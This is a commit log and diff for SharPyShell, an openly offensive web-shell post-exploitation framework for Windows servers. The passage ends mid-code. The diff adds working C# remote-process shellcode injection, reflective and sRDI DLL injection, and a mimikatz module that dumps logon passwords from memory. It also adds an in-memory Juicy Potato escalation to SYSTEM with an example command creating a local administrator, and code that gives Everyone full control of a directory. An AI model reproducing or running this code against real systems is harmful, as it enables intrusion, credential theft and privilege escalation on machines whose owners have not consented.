23 Commits

Author SHA1 Message Date
antonioCoco 5a2a242572 Merge pull request #3 from antonioCoco/dev
Upgrade to version 1.1: 3 Injection modules added + bugfixes
2019-03-26 17:33:47 +01:00
antonioCoco 4a781f43e4 updated examples in mimikatz module 2019-03-26 16:28:17 +01:00
antonioCoco cd71cb7959 updated requirements.txt 2019-03-26 13:13:00 +01:00
antonioCoco 8312be89b7 requirements.txt updated 2019-03-26 00:51:00 +01:00
antonioCoco 96f26bfce5 fixed help in injection modules 2019-03-25 22:45:28 +01:00
antonioCoco dad54643a7 added injection_srdi module + dll execution type for mimikatz 2019-03-25 22:32:49 +01:00
antonioCoco 78b96b4a6e Updated powerup command for the latest version 2019-03-25 20:15:23 +01:00
antonioCoco 041afaf871 Injection modules: Added gzip compression + bugfixes after tested win vers 2008 - 2019 2019-03-25 00:23:35 +01:00
antonioCoco ecd41c8de0 updated Invoke-Mimikatz.ps1 to a working version of latest win versions 2019-03-25 00:03:05 +01:00
antonioCoco 7b1db7bdb0 updated PowerUp.ps1 to latest version 2019-03-24 23:56:14 +01:00
antonioCoco 6576e04c71 module runas: code refactoring and improved support for Interactive (2) logon 2019-03-24 21:52:43 +01:00
antonioCoco b5429762b2 fixed help in privesc_powerup_module 2019-03-24 21:51:31 +01:00
antonioCoco 2209ef9f5f fixed a bug in invoke_ps_module: double quotes replace 2019-03-24 21:38:51 +01:00
antonioCoco 8f7af5d05c fixed a bug in privesc_juicy_potato module 2019-03-24 21:36:44 +01:00
antonioCoco 0592d0cbf5 added Everyone permission to env directory 2019-03-24 21:30:26 +01:00
antonioCoco 6524f3c4e8 code refactoring: module inject_dll_reflective 2019-03-22 19:59:59 +01:00
antonioCoco eb697924ef fixed typos in help 2019-03-22 16:43:39 +01:00
antonioCoco 45ce4bea63 Updated help text in injection modules 2019-03-22 16:41:56 +01:00
antonioCoco edb4ef5011 updated README with new modules 2019-03-22 16:41:30 +01:00
antonioCoco e59c27f559 Fixed help in privesc_juicy_potato module: Added more examples 2019-03-22 15:41:55 +01:00
antonioCoco a618bd17bc fixed help in lateral_psexec module 2019-03-22 15:37:53 +01:00
antonioCoco f101d52fb5 Upgrade to version 1.1.0: 2 Injection modules added 2019-03-22 12:05:43 +01:00
antonioCoco 0ba50b53df Module Runas: improved help 2019-03-22 11:42:13 +01:00
21 changed files with 3313 additions and 1389 deletions
+17 -14
View File
@@ -95,20 +95,23 @@ Generated with asciiflow.com
## Modules
```
#download Download a file from the server
#exec_cmd Run a cmd.exe /c command on the server
#exec_ps Run a powershell.exe -nop -noni -enc 'base64command' on the server
#invoke_ps_module Run a ps1 script on the target server
#invoke_ps_module_as Run a ps1 script on the target server as a specific user
#lateral_psexec Run psexec binary to move laterally
#lateral_wmi Run builtin WMI command to move laterally
#mimikatz Run an offline version of mimikatz directly in memory
#net_portscan Run a port scan using regular sockets, based (pretty) loosely on nmap
#privesc_juicy_potato Launch Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM
#privesc_powerup Run Powerup module to assess all misconfiguration for privesc
#runas Run a cmd.exe /c command spawning a new process as a specific user
#runas_ps Run a powershell.exe -enc spawning a new process as a specific user
#upload Upload a file to the server
#download Download a file from the server
#exec_cmd Run a cmd.exe /c command on the server
#exec_ps Run a powershell.exe -nop -noni -enc 'base64command' on the server
#inject_dll_reflective Inject a reflective DLL in a new (or existing) process
#inject_dll_srdi Inject a generic DLL in a new (or existing) process
#inject_shellcode Inject shellcode in a new (or existing) process
#invoke_ps_module Run a ps1 script on the target server
#invoke_ps_module_as Run a ps1 script on the target server as a specific user
#lateral_psexec Run psexec binary to move laterally
#lateral_wmi Run builtin WMI command to move laterally
#mimikatz Run an offline version of mimikatz directly in memory
#net_portscan Run a port scan using regular sockets, based (pretty) loosely on nmap
#privesc_juicy_potato Launch InMem Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM
#privesc_powerup Run Powerup module to assess all misconfiguration for privesc
#runas Run a cmd.exe /c command spawning a new process as a specific user
#runas_ps Run a powershell.exe -enc spawning a new process as a specific user
#upload Upload a file to the server
```
## Windows version tested
+11 -3
View File
@@ -11,7 +11,7 @@ class GetTempDirectory(Module):
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell
{
string GetTempDirectory()
private string GetTempDirectory()
{
string tempDirectory="";
string osTempDirectory = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\" + "Temp";
@@ -47,9 +47,11 @@ class GetEnvDirectory(Module):
_runtime_code = ur"""
using System;using System.IO;using System.Diagnostics;using System.Text;
using System.Security.AccessControl;using System.Security.Principal;
public class SharPyShell
{
string GetEnvDirectory(string randomName)
private string GetEnvDirectory(string randomName)
{
string envDirectory="";
string osTempDirectory = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\" + "Temp" + "\\" + randomName;
@@ -66,6 +68,12 @@ class GetEnvDirectory(Module):
catch{
envDirectory = @"C:\Windows\Temp";
}
}
if(envDirectory != @"C:\Windows\Temp"){
DirectoryInfo dInfo = new DirectoryInfo(envDirectory);
DirectorySecurity dSecurity = dInfo.GetAccessControl();
dSecurity.AddAccessRule(new FileSystemAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), FileSystemRights.FullControl, InheritanceFlags.ObjectInherit | InheritanceFlags.ContainerInherit, PropagationFlags.NoPropagateInherit, AccessControlType.Allow));
dInfo.SetAccessControl(dSecurity);
}
return envDirectory;
}
@@ -97,7 +105,7 @@ class ClearDirectories(Module):
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell
{
string ClearDirectories(string[] modulesPath, string envDirectory)
private string ClearDirectories(string[] modulesPath, string envDirectory)
{
string output="";
for(int i = 0 ; i < modulesPath.Length ; i++)
+1 -1
View File
@@ -1,7 +1,7 @@
import sys
import os
sharpyshell_version='1.0'
sharpyshell_version='1.1.14'
header = '#SharPyShell v' + sharpyshell_version + ' - @splinter_code'
banner = """
Binary file not shown.
Binary file not shown.
+76
View File
@@ -0,0 +1,76 @@
from modules.inject_shellcode import Inject_shellcode, ModuleException
from core import config
from utils import gzip_utils
import pefile
class InjectDllReflectiveModuleException(ModuleException):
pass
class Inject_dll_reflective(Inject_shellcode):
_exception_class = InjectDllReflectiveModuleException
short_help = "Inject a reflective DLL in a new (or existing) process"
complete_help = r"""
Author: @stephenfewer
Links: https://github.com/stephenfewer/ReflectiveDLLInjection
Inject a reflective DLL into a remote process.
You can choose to create a new process or use a pid of an existing process as a host process.
The dll_path is a relative path to a dll that exists in the folder 'reflective_dll/'.
The dll must be compiled with the 'ReflectiveLoader' exported function otherwise it cannot be executed
at runtime.
You can use one of the following supported injection techniques:
- remote_virtual: classic injection:
VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread
- remote_virtual_protect: with this technique you never allocate RWX memory (polymorphic encoders won't work):
VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread
Note that when you try to inject into an existing process you should ensure you have the rights to open
a handle to that process otherwise the injection cannot be performed.
Usage:
#inject_dll_reflective dll_path [injection_type] [remote_process]
Positional arguments:
dll_path name of a .dll module in the 'reflective_dll/' directory
the DLL must contain a ReflectiveLoader exported function
injection_type the process injection method to use for injecting shellcode
Allowed values: 'remote_virtual', 'remote_virtual_protect'
Default: 'remote_virtual'
remote_process path to an executable to spawn as a host process for the shellcode
if you pass a pid it will try to inject into an existing running process
Default: 'cmd.exe'
Examples:
Inject a messagebox reflective DLL into an existing process:
#inject_dll_reflective messagebox_reflective.dll remote_virtual 2264
"""
def __get_reflective_loader_offset(self, dll_path):
pe_parser = pefile.PE(dll_path)
for exported_function in pe_parser.DIRECTORY_ENTRY_EXPORT.symbols:
if 'ReflectiveLoader' in exported_function.name:
reflective_loader_rva = exported_function.address
return hex(pe_parser.get_offset_from_rva(reflective_loader_rva))
raise self._exception_class('The DLL does not contain a reflective loader function.\n')
def _create_request(self, args):
dll_path, injection_type, remote_process,\
thread_timeout, thread_parameters, code_offset = self._parse_run_args(args)
dll_path = config.modules_paths + 'reflective_dll/' + dll_path
code_offset = str(self.__get_reflective_loader_offset(dll_path))
with open(dll_path, 'rb') as file_handle:
byte_arr = bytearray(file_handle.read())
base64_compressed_dll = gzip_utils.get_compressed_base64_from_binary(byte_arr)
if injection_type == 'remote_virtual_protect':
runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_dll,
thread_parameters, remote_process,
thread_timeout, code_offset)
else:
runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_dll,
thread_parameters, remote_process,
thread_timeout, code_offset)
return runtime_code
File diff suppressed because one or more lines are too long
+300
View File
@@ -0,0 +1,300 @@
from core.Module import Module, ModuleException
from utils import gzip_utils
class InjectShellcodeModuleException(ModuleException):
pass
class Inject_shellcode(Module):
_exception_class = InjectShellcodeModuleException
short_help = "Inject shellcode in a new (or existing) process"
complete_help = r"""
This module allow to inject your shellcode in a host process.
You can choose to create a new process or use a pid of an existing process as a host process.
If you create the payload for the shellcode from msfvenom ensure you use the flag --format raw.
You can use one of the following supported injection techniques:
- remote_virtual: classic injection:
VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread
- remote_virtual_protect: with this technique you never allocate RWX memory (polymorphic encoders won't work):
VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread
Note that when you try to inject into an existing process you should ensure you have the rights to open
a handle to that process otherwise the injection cannot be performed.
Usage:
#inject_shellcode shellcode_path [injection_type] [remote_process]
Positional arguments:
shellcode_path path to a file containing shellcode in raw format (msfvenom --format raw)
injection_type the process injection method to use for injecting shellcode
Allowed values: 'remote_virtual', 'remote_virtual_protect'
Default: 'remote_virtual'
remote_process path to an executable to spawn as a host process for the DLL code
if you pass a pid it will try to inject into an existing running process
Default: 'cmd.exe'
Examples:
Inject generated shellcode:
#inject_shellcode /path/to/shellcode
Inject shellcode with specific injection type:
#inject_shellcode /path/to/shellcode 'remote_virtual_protect'
Inject shellcode into an existing process
#inject_shellcode /path/to/shellcode 'remote_virtual' '1550'
"""
_runtime_code = ur"""
using System;using System.IO;using System.Diagnostics;using System.Text;
using System.Runtime.InteropServices; using System.IO.Compression;
public class SharPyShell
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError=true)]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
[DllImport("ntdll.dll", SetLastError = true)]
static extern UInt32 NtCreateThreadEx(ref IntPtr hThread,UInt32 DesiredAccess,IntPtr ObjectAttributes,IntPtr ProcessHandle,IntPtr StartAddress,IntPtr lParam,bool CreateSuspended,UInt32 StackZeroBits,UInt32 SizeOfStackCommit,UInt32 SizeOfStackReserve,IntPtr BytesBuffer);
const uint PAGE_ALIGN = 1024;
const int PROCESS_CREATE_THREAD = 0x0002;
const int PROCESS_QUERY_INFORMATION = 0x0400;
const int PROCESS_VM_OPERATION = 0x0008;
const int PROCESS_VM_WRITE = 0x0020;
const int PROCESS_VM_READ = 0x0010;
const uint MEM_COMMIT = 0x00001000;
const uint MEM_RESERVE = 0x00002000;
const uint PAGE_READWRITE = 0x04;
const uint PAGE_EXECUTE_READ = 0x20;
const uint PAGE_EXECUTE_READWRITE = 0x40;
const uint WAIT_OBJECT_0 = 0x00000000;
public string InjectShellcode(byte[] byteArrayCode, byte[] threadParameters, string process, uint threadTimeout, ulong offset)
{
string output = "";
string error_string = "\n\n\t{{{SharPyShellError}}}";
int processId=0;
Process targetProcess = new Process();
IntPtr targetProcessHandle = IntPtr.Zero;
IntPtr injectedThreadHandle = IntPtr.Zero;
bool usingExistingProcess = false;
try
{
if(!Int32.TryParse(process, out processId)){
targetProcess = Process.Start(process);
processId = targetProcess.Id;
output += "\n\n\tStarted process " + process + " with pid " + processId.ToString();
}
else{
targetProcess = Process.GetProcessById(processId);
usingExistingProcess = true;
output += "\n\n\tTrying to open running process with pid " + processId.ToString();
}
string processName = targetProcess.ProcessName;
string targetProcessPid = processId.ToString();
targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId);
if(targetProcessHandle == (IntPtr)0){
output += error_string + "\n\tOpenProcess on pid " + targetProcessPid + " failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tCorreclty opened a handle on process with pid " + targetProcessPid;
uint codeMemorySize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1);
if(codeMemorySize %% PAGE_ALIGN != 0)
codeMemorySize += PAGE_ALIGN - ((uint)(byteArrayCode.Length+1) %% PAGE_ALIGN);
%s
codeMemAddress = (IntPtr)((ulong)codeMemAddress + (ulong)offset);
if(threadParameters.Length > 0){
output += "\n\n\tThread parameters detected. Starting to allocate memory RW ...";
uint threadParametersSize = (uint)(threadParameters.Length * Marshal.SizeOf(typeof(byte)) + 1);
IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(threadParametersMemAddress == (IntPtr)0){
output += error_string + "\n\tError allocating thread parameters buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
return output;
}
uint bytesWrittenThreadParams;
output += "\n\n\tAllocated memory RW for thread parameters of " + threadParametersSize.ToString() + " bytes";
if(!WriteProcessMemory(targetProcessHandle, threadParametersMemAddress, threadParameters, threadParametersSize, out bytesWrittenThreadParams)){
output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tThread parameters written into remote process. Bytes written: " + bytesWrittenThreadParams.ToString();
if(Environment.OSVersion.Version < new Version(6, 2) && usingExistingProcess){
output += "\n\n\tDetected windows version < 6.2 and injection across sessions. Using NtCreateThreadEx...";
NtCreateThreadEx(ref injectedThreadHandle, 0x1FFFFF, IntPtr.Zero, targetProcessHandle, codeMemAddress, threadParametersMemAddress, false, 0, 0, 0, IntPtr.Zero);
}
else{
output += "\n\n\tUsing CreateRemoteThread...";
injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero);
}
}
else{
if(Environment.OSVersion.Version < new Version(6, 2) && usingExistingProcess){
output += "\n\n\tDetected windows version < 6.2 and injection across sessions. Using NtCreateThreadEx...";
NtCreateThreadEx(ref injectedThreadHandle, 0x1FFFFF, IntPtr.Zero, targetProcessHandle, codeMemAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
}
else{
output += "\n\n\tUsing CreateRemoteThread...";
injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero);
}
}
if(injectedThreadHandle == (IntPtr)0){
output += error_string + "\n\tError creating remote thread into target process.\n\tRemote Thread creation failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tRemote Thread started!";
if(threadTimeout>0){
uint wait_for = WaitForSingleObject(injectedThreadHandle, threadTimeout);
if(wait_for == WAIT_OBJECT_0){
output += "\n\n\tCode executed and exited correctly";
try{
Process.GetProcessById(processId);
targetProcess.Kill();
output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has been killed";
}
catch{
output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has exited";
}
}
else{
output += "\n\n\tRemote Thread Timed Out";
}
}
else{
output += "\n\n\tCode executed left in background as an async thread in the process '" + processName + ".exe' with pid " + targetProcessPid;
}
}
catch (Exception ex)
{
output += error_string + "\n\tException occurred. " + ex.Message;
return output;
}
finally{
if((int)injectedThreadHandle > 0)
CloseHandle(injectedThreadHandle);
if((int)targetProcessHandle > 0)
CloseHandle(targetProcessHandle);
}
return output + "\n\n";
}
private byte[] Decompress(byte[] data)
{
using (MemoryStream compressedStream = new MemoryStream(data))
using (GZipStream zipStream = new GZipStream(compressedStream, CompressionMode.Decompress))
using (MemoryStream resultStream = new MemoryStream())
{
byte[] buffer = new byte[16*1024];
int read;
while ((read = zipStream.Read(buffer, 0, buffer.Length)) > 0)
{
resultStream.Write(buffer, 0, read);
}
return resultStream.ToArray();
}
}
public byte[] ExecRuntime()
{
string shellcodeBase64 = "%s";
byte[] shellcodeCompressed = Convert.FromBase64String(shellcodeBase64);
byte[] shellcodeByteArr = Decompress(shellcodeCompressed);
byte[] threadParameters = %s;
string output_func=InjectShellcode(shellcodeByteArr, threadParameters, @"%s", %s, %s);
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
return(output_func_byte);
}
}
"""
_runtime_code_virtual = ur"""
IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(codeMemAddress == (IntPtr)0){
output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
return output;
}
uint bytesWrittenCode;
output += "\n\n\tAllocated memory RWX for code of " + codeMemorySize.ToString() + " bytes";
if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){
output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString();
"""
_runtime_code_virtual_protect = ur"""
uint codeMemSize = codeMemorySize;
IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(codeMemAddress == (IntPtr)0){
output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error();
return output;
}
uint bytesWrittenCode;
output += "\n\n\tAllocated memory RW for code of " + codeMemorySize.ToString() + " bytes";
if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){
output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString();
uint lpflOldProtect;
if(!VirtualProtectEx(targetProcessHandle, codeMemAddress, codeMemSize, PAGE_EXECUTE_READ, out lpflOldProtect)){
output += error_string + "\n\tError in changing memory from RW to RX.\n\tVirtualProtectEx failed with error code " + Marshal.GetLastWin32Error();
return output;
}
output += "\n\n\tChanged allocated memory for code from RW to RX";
"""
_default_injection_type = 'remote_virtual'
_default_remote_process = 'cmd.exe'
_default_thread_timeout = '0'
_default_thread_parameters = '{}'
_default_code_offset = '0'
def _parse_run_args(self, args):
if len(args) < 1:
raise self._exception_class('#inject_shellcode: Not enough arguments. 1 Argument required.\n')
args_parser = {k: v for k, v in enumerate(args)}
shellcode_path = args_parser.get(0)
injection_type = args_parser.get(1, self._default_injection_type)
remote_process = args_parser.get(2, self._default_remote_process)
thread_timeout = args_parser.get(3, self._default_thread_timeout)
thread_parameters = args_parser.get(4, self._default_thread_parameters)
code_offset = args_parser.get(5, self._default_code_offset)
return shellcode_path, injection_type, remote_process, thread_timeout, thread_parameters, code_offset
def _create_request(self, args):
shellcode_path, injection_type, remote_process,\
thread_timeout, thread_parameters, code_offset = self._parse_run_args(args)
base64_compressed_shellcode = gzip_utils.get_compressed_base64_from_file(shellcode_path)
if injection_type == 'remote_virtual_protect':
runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_shellcode,
thread_parameters, remote_process,
thread_timeout, code_offset)
else:
runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_shellcode,
thread_parameters, remote_process,
thread_timeout, code_offset)
return runtime_code
+2
View File
@@ -105,6 +105,8 @@ class Invoke_ps_module(Module):
def _gen_appended_code(self, appended_code):
if appended_code == '':
return ''
if '""' in appended_code:
appended_code = appended_code.replace('""', '"')
enc_appended_code_path = config.modules_paths + 'ps_modules/' + random_generator()
byte_arr_app_module_encrypted = bytearray(appended_code)
self.__xor_bytearray(byte_arr_app_module_encrypted)
+1 -1
View File
@@ -34,7 +34,7 @@ class Lateral_psexec(Module):
In those cases, you need to use different credentials of a more privileged user in order to launch this module.
Usage:
#lateral_psexec target_ip username password command [local_user] [local_password] [local_domain]
#lateral_psexec target_ip username password command [runas_system] [local_user] [local_password] [local_domain]
Positional arguments:
target_ip the ip of the remote server
+46 -19
View File
@@ -5,6 +5,7 @@ from modules.exec_cmd import Exec_cmd
from modules.runas import Runas
from modules.invoke_ps_module import Invoke_ps_module
from modules.invoke_ps_module_as import Invoke_ps_module_as
from modules.inject_dll_srdi import Inject_dll_srdi
from utils.random_string import random_generator
import traceback
@@ -17,25 +18,30 @@ class Mimikatz(Module):
_exception_class = MimikatzModuleException
short_help = "Run an offline version of mimikatz directly in memory"
complete_help = r"""
Authors: @gentilkiwi @PowerShellMafia
Links: https://github.com/gentilkiwi/mimikatz
https://github.com/PowerShellMafia/PowerSploit/blob/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1
Credits: @phra
This module allows you to run mimikatz in a versatile way.
Within this module it is possible to run mimikatz in 2 different way:
Within this module it is possible to run mimikatz in 3 different ways:
'ps1': an obfuscated ps1 module will be uploaded to the server and get deobfuscated at runtime in memory;
'exe': the classic mimikatz binary will be uploaded to the server and run with arguments.
'exe': the classic mimikatz binary will be uploaded to the server and run with arguments;
'dll': convert mimikatz dll into a position independent shellcode and inject into a remote process.
It is recommended to run the ps1 version because it will be obfuscated and run from memory.
The exe version will be just dropped as clear and could be catched by av scanners.
Exec_Type can be 'ps1' or 'exe'.
The dll version is the most stealthy but it doesn't support impersonation atm.
Source Code:
https://github.com/gentilkiwi/mimikatz
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
Usage:
#mimikatz [exec_type] [username] [password] [domain] [custom_command]
Positional arguments:
exec_type type of running mimikatz.
'ps1' will upload and execute the powershell version of mimikatz
'exe' will upload and execute the classic version of binary mimikatz
exec_type execution type for running mimikatz:
'ps1' will upload and execute the powershell version of mimikatz
'exe' will upload and execute the classic version of binary mimikatz
'dll' will inject converted dll shellcode into a remote process
Default: 'ps1'
username username of the user to runas the process
password password of the user to runas the process
@@ -43,13 +49,17 @@ class Mimikatz(Module):
custom_command based on exec_type, the custom command could be:
- 'ps1' : powershell code to add to the ps1 mimikatz module;
- 'exe' : command line arguments to the mimikatz binary;
- 'dll' : command line arguments to be executed.
Default:
'ps1': ';Invoke-Mimikatz -DumpCreds'
'exe': 'privilege::debug sekurlsa::logonpasswords exit'
'dll': 'privilege::debug sekurlsa::logonpasswords exit'
Examples:
Run mimikatz as the current user
#mimikatz
Run mimikatz dll
#mimikatz 'dll'
Run mimikatz as a specific local user
#mimikatz 'ps1' 'user1' 'password1'
Run mimikatz as a specific domain user
@@ -79,6 +89,7 @@ class Mimikatz(Module):
self.runas_module_object = Runas(password, channel_enc_mode, module_settings, request_object)
self.invoke_ps_module_object = Invoke_ps_module(password, channel_enc_mode, module_settings, request_object)
self.invoke_ps_as_module_object = Invoke_ps_module_as(password, channel_enc_mode, module_settings, request_object)
self.inject_dll_srdi_module_object = Inject_dll_srdi(password, channel_enc_mode, module_settings, request_object)
def __parse_run_args(self, args):
args_parser = {k: v for k, v in enumerate(args)}
@@ -86,7 +97,7 @@ class Mimikatz(Module):
username = args_parser.get(1, self.__default_username)
password = args_parser.get(2, self.__default_password)
domain = args_parser.get(3, self.__default_domain)
custom_command = args_parser.get(4, self.__default_exe_command if exec_type == 'exe' else self.__default_ps_command)
custom_command = args_parser.get(4, self.__default_exe_command if exec_type != 'ps1' else self.__default_ps_command)
return exec_type, username, password, domain, custom_command
def __lookup_exe_binary(self):
@@ -103,15 +114,29 @@ class Mimikatz(Module):
return bin_path
def __run_exe_version(self, username, password, domain, custom_command):
try:
remote_upload_path = self.__lookup_exe_binary()
if username == '':
response = self.exec_cmd_module_object.run(['""' + remote_upload_path + '""' + ' ' + custom_command])
else:
response = self.runas_module_object.run([remote_upload_path + ' ' + custom_command, username, password, domain])
parsed_response = self._parse_response(response)
except ModuleException as module_exc:
parsed_response = str(module_exc)
remote_upload_path = self.__lookup_exe_binary()
if username == '':
response = self.exec_cmd_module_object.run(['""' + remote_upload_path + '""' + ' ' + custom_command])
else:
response = self.runas_module_object.run([remote_upload_path + ' ' + custom_command, username, password, domain])
parsed_response = self._parse_response(response)
return parsed_response
def __run_dll_version(self, username, custom_command):
dll_name = 'powerkatz.dll'
exported_function_name = 'powershell_reflective_mimikatz'
log_file = self._module_settings['env_directory'] + '\\' + random_generator()
exported_function_data = str(('"log ' + log_file + '" ' + custom_command + '\x00').encode('utf-16-le'))
if username == '':
print '\n\nInjecting converted DLL shellcode into remote process...'
response = self.inject_dll_srdi_module_object.run([dll_name, 'remote_virtual', 'cmd.exe', '60000', '{}',
exported_function_name, exported_function_data])
response = self._parse_response(response)
response += '\nDLL injection executed!\n\n\nOutput of mimikatz:\n\n'
response += self._parse_response(self.exec_cmd_module_object.run(['type ' + log_file + ' & del /f /q ' + log_file]))
else:
raise self._exception_class('#mimikatz: exec_type "dll" does not support the runas function atm\n')
parsed_response = self._parse_response(response)
return parsed_response
def __run_ps_version(self, username, password, domain, custom_command):
@@ -127,6 +152,8 @@ class Mimikatz(Module):
exec_type, username, password, domain, custom_command = self.__parse_run_args(args)
if exec_type == 'exe':
response = self.__run_exe_version(username, password, domain, custom_command)
elif exec_type == 'dll':
response = self.__run_dll_version(username, custom_command)
else:
response = self.__run_ps_version(username, password, domain, custom_command)
parsed_response = self._parse_response(response)
+94 -25
View File
@@ -2,7 +2,9 @@ from core.Module import Module, ModuleException
from core import config
from modules.upload import Upload
from modules.exec_cmd import Exec_cmd
from modules.inject_dll_reflective import Inject_dll_reflective
from utils.random_string import random_generator
from utils import shellcode
import random
import traceback
@@ -13,8 +15,13 @@ class PrivescJuicyPotatoModuleException(ModuleException):
class Privesc_juicy_potato(Module):
_exception_class = PrivescJuicyPotatoModuleException
short_help = r"Launch Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM"
short_help = r"Launch InMem Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM"
complete_help = r"""
Authors: @decoder @ohpe @phra @lupman
Links: https://github.com/ohpe/juicy-potato
https://github.com/phra/metasploit-framework/blob/e69d509bdf5c955e673be44b8d87b915272836d9/modules/exploits/windows/local/ms16_075_reflection_juicy.rb
Juicy Potato is a Local Privilege Escalation tool that allows to escalate privileges from a Windows Service
Accounts to NT AUTHORITY\SYSTEM.
This permits to run an os command as the most privileged user 'NT AUTHORITY\SYSTEM'.
@@ -24,32 +31,41 @@ class Privesc_juicy_potato(Module):
This vulnerability is no longer exploitable with Windows Server 2019:
https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/
Source Code:
https://github.com/ohpe/juicy-potato
Usage:
#privesc_juicy_potato cmd [custom_args]
#privesc_juicy_potato cmd [exec_type] [clsid] [custom_shellcode_path]
Positional arguments:
cmd command supported by cmd.exe
custom_args command line parameters to be passed to juicy potato binary
Default: ' -t * -l ' + str(random.randint(10000, 65000)) + ' -p '
cmd command supported by cmd.exe
exec_type Type of execution of juicy potato, values can be:
- 'reflective_dll'
- 'exe'
Default: 'reflective_dll'
clsid target CLSID to reflect
Default: '{4991d34b-80a1-4291-83b6-3328366b9097}' (BITS)
custom_shellcode_path path to a file containing shellcode (format raw)
if set, this module will ignore 'cmd' argument
Default: 'default'
Examples:
Add a new local admin:
#privesc_juicy_potato 'net user /add admin_test JuicyAdmin_1 & net localgroup Administrators admin_test /add'
#privesc_juicy_potato 'net user /add admin_test JuicyAdmin_1_2_3! /Y & net localgroup Administrators admin_test /add'
Run juicy reflecting a custom COM CLSID:
#privesc_juicy_potato 'echo custom_clsid > C:\windows\temp\custom_clsid.txt' 'reflective_dll' '{752073A1-23F2-4396-85F0-8FDB879ED0ED}'
Run whoami with the classic Juicy Potato binary:
#privesc_juicy_potato 'whoami > C:\windows\temp\whoami_juicy.txt' 'exe'
"""
_runtime_code = ur"""
using System;using System.IO;using System.Diagnostics;using System.Text;
public class SharPyShell
{
string ExecCmd(string exe_path, string custom_args, string cmd, string working_path)
string ExecCmd(string exe_path, string arguments, string cmd, string working_path)
{
string cmd_path = Environment.GetEnvironmentVariable("ComSpec");
ProcessStartInfo pinfo = new ProcessStartInfo();
pinfo.FileName = exe_path;
pinfo.Arguments = custom_args + " " + cmd_path + " -a \" " + cmd_path + " /c " + cmd + "\"";
